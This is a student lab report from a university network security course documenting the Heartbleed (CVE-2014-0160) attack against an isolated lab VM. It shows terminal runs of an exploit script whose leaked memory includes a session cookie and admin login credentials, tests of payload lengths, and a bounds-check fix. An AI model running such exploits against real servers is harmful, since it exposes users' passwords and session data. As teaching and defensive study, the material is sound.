

PES UNIVERSITY
COMPUTER NETWORK SECURITY
LAB 5 - HEARTBLEED ATTACK
Aayush Kapoor PES2201800211

ATTACKER IP:

```
[04/13/2021 12:23] seed@AAYUSH_211-A:~$ ifconfig
eth13  Link encap:Ethernet  HWaddr 08:00:27:84:5c:12
       inet addr:10.0.2.73  Bcast:10.0.2.255  Mask:255.255.255.0
       inet6 addr: fe80::a00:27ff:fe84:5c12/64 Scope:Link
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:105 errors:0 dropped:0 overruns:0 frame:0
       TX packets:121 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:29095 (29.0 KB)  TX bytes:14478 (14.4 KB)

lo      Link encap:Local Loopback
       inet addr:127.0.0.1  Mask:255.0.0.0
       inet6 addr: ::1/128 Scope:Host
       UP LOOPBACK RUNNING  MTU:16436  Metric:1
       RX packets:26 errors:0 dropped:0 overruns:0 frame:0
       TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:2096 (2.0 KB)  TX bytes:2096 (2.0 KB)

[04/13/2021 12:23] seed@AAYUSH_211-A:~$
```

VICTIM IP:

```
[04/13/2021 12:24] seed@AAYUSH_211-V:~$ ifconfig
eth13    Link encap:Ethernet  HWaddr 08:00:27:37:43:ca
         inet addr:10.0.2.72  Bcast:10.0.2.255  Mask:255.255.255.0
         inet6 addr: fe80::a00:27ff:fe37:43ca/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
         RX packets:51 errors:0 dropped:0 overruns:0 frame:0
         TX packets:120 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:18637 (18.6 KB)  TX bytes:13902 (13.9 KB)

lo       Link encap:Local Loopback
         inet addr:127.0.0.1  Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING  MTU:16436  Metric:1
         RX packets:26 errors:0 dropped:0 overruns:0 frame:0
         TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:2100 (2.1 KB)  TX bytes:2100 (2.1 KB)

[04/13/2021 12:24] seed@AAYUSH_211-V:~$ █
```

TASK 1:

```
127.0.0.1    www.CSRFLabElgg.com
127.0.0.1    www.XSSLabElgg.com
127.0.0.1    www.SeedLabElgg.com
10.0.2.72    www.heartbleedlabelgg.com
127.0.0.1    www.WTLabElgg.com

127.0.0.1    www.wtmobilestore.com
127.0.0.1    www.wtshoestore.com
127.0.0.1    www.wtelectronicstore.com
127.0.0.1    www.wtcamerastore.com

127.0.0.1    www.wtlabadserver.com
```

Configure the /etc/hosts with IP of victim for www.heartbleedlabelgg.com

TASK 2:

```
[04/13/2021 12:39] seed@AAYUSH_211-A:~$ sudo chmod 777 attack.py
[sudo] password for seed:
[04/13/2021 12:40] seed@AAYUSH_211-A:~$ ls -l
total 4580
-rwxrwxrwx 1 seed seed 19100 Apr 13 12:39 attack.py
-rw-rw-r-- 1 seed seed 19100 Apr 13 12:39 attack.py~
drwxr-xr-x 4 seed seed 4096 Dec 9 2015 Desktop
drwxr-xr-x 3 seed seed 4096 Dec 9 2015 Documents
drwxr-xr-x 2 seed seed 4096 Sep 17 2014 Downloads
drwxrwxr-x 6 seed seed 4096 Sep 16 2014 elggData
-rw-r--r-- 1 seed seed 8445 Aug 13 2013 examples.desktop
drwxr-xr-x 2 seed seed 4096 Aug 13 2013 Music
drwxr-xr-x 24 root root 4096 Jan 9 2014 openssl-1.0.1
-rw-r--r-- 1 root root 132483 Jan 9 2014 openssl_1.0.1-4ubuntu5.11.debian.tar.gz
-rw-r--r-- 1 root root 2382 Jan 9 2014 openssl_1.0.1-4ubuntu5.11.dsc
-rw-r--r-- 1 root root 4453920 Mar 22 2012 openssl_1.0.1.orig.tar.gz
drwxr-xr-x 2 seed seed 4096 Aug 25 2013 Pictures
drwxr-xr-x 2 seed seed 4096 Aug 13 2013 Public
drwxr-xr-x 2 seed seed 4096 Aug 13 2013 Templates
drwxr-xr-x 2 seed seed 4096 Aug 13 2013 Videos
[04/13/2021 12:40] seed@AAYUSH_211-A:~$
```

Making the attack.py file executable.

```
[04/13/2021 12:40] seed@AAYUSH_211-A:~$ python attack.py www.heartbleedlabelgg.com

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
.@.AAAAAAAAAAAAAAAAAAAAABCEFGHIJKLMNOPABC...
...!.9.8.....5.....
.....3.2.....E.D...../.A.....I.....
.....
.....#

[04/13/2021 12:41] seed@AAYUSH_211-A:~$
```

On running the script, we get random data as seen from the screenshot above. From the random-data, you could see that no matter how many times you try you always receive saying something similar to this that the server is vulnerable because it is sending more data than it should.

The screenshot displays the SEED Lab Site interface. At the top, a navigation bar includes links for 'elgg', 'Administration', 'Settings', and 'Log out'. A blue banner below the navigation bar features the site's logo and a search bar. A notification at the top right states, 'You have successfully added Boby as a friend.' Below the banner, a user profile for 'Boby' is shown, featuring a placeholder image and buttons for 'Remove friend', 'Report user', and 'Send a message'. To the right of the profile is an 'Add widgets' button. Below the profile, a 'Messages > Compose a message' section is visible. The 'To:' field is set to 'Boby', and the 'Subject:' field contains 'Hello'. The 'Message:' field contains the text 'Hi Boby, It was nice to meet you!'. A 'Send' button is located at the bottom left of the message composition area. On the right side of the page, a sidebar contains links for 'Inbox' and 'Sent messages'.

Login into the admin account, add Boby as a friend and send a message to Boby.


```
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

.@.AAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOABC...
...!.9.8.....5.....
.....3.2.....E.D...../...A.....I.....
.....
.....#.....guage: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/activity
Cookie: Elgg=822fmdnt7inm8l5c633rfulr5
Connection: keep-alive
If-Modified-Since: Tue, 16 Sep 2014 12:53:38 GMT
If-None-Match: "5f5-5032e3d7cd92c"

R...p.B.....^E.

d&_elgg_ts=1618342939&username=admin&password=seedelgg.58....j...t%..q<..T

[04/13/2021 12:46] seed@AAYUSH_211-A:~$
```

On running the script multiple times, we get the admin account username and password. The random-data also contains the message sent by admin to Bobby.

TASK 3:

```
[04/13/2021 12:47] seed@AAYUSH_211-A:~$ ./attack.py www.heartbleedlabelgg.com --length 40

defibrillator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

..(AAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOABC..
.=26m..Y.L.,NL.

[04/13/2021 12:48] seed@AAYUSH_211-A:~$
```

Running script by keeping payload length as 40. Hence we get limited random-data from the server memory.

```
[04/13/2021 12:49] seed@AAYUSH_211-A:~$ ./attack.py www.heartbleedlabelgg.com --l 0x012B

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
..+AAAAAAAAAAAAAAAAAAAAABCDEFHIJKLMNOPABC...
...!.9.8.....5.....
.....3.2.....E.D...../...A.....I.....
.....
.....#.....ept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/profile/boR...$D
4.....hxA

[04/13/2021 12:49] seed@AAYUSH_211-A:~$
```

Same here with length 299, we get more data from memory as seen for payload length 40.

TASK 4:

```
[04/13/2021 13:57] seed@AAYUSH_211-A:~$ ./attack.py www.heartbleedlabelgg.com --l 21

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result....
Received alert:
Please wait... connection attempt 1 of 1
#####
.F

[04/13/2021 13:57] seed@AAYUSH_211-A:~$
```

```
[04/13/2021 12:50] seed@AAYUSH_211-A:~$ ./attack.py www.heartbleedlabelgg.com --l 22

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result....
Received alert:
Please wait... connection attempt 1 of 1
#####

.F

[04/13/2021 12:50] seed@AAYUSH_211-A:~$
```

```
[04/13/2021 13:57] seed@AAYUSH_211-A:~$ ./attack.py www.heartbleedlabelgg.com --l 23

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

C`.AAAAAAAAAAAAAAAAAAAAABC..5.y....

[04/13/2021 13:57] seed@AAYUSH_211-A:~$ █
```

We tried various payload lengths to find the boundary value, which is **22** as seen from screenshots above.

TASK 5:

1. Update and upgrade the ubuntu to install the latest ssl library (free from Heartbleed attack).
2. Add if condition ($1 + 2 + \text{payload} + 16 > \text{sizeof}(\text{HeartbeatMessage})$) is actually checks the bounds of the Heartbeat Message, where value 1 is used to store 1-byte type, value 2 is used to store 2-byte payload length and value 16 is used for padding. So, suppose if the Heartbeat request packet is coming with a payload length variable containing value 1000 but the payload itself is only a 3-byte string "ABC", then according to this code the if condition will fail and it will drop the request packet to proceed further.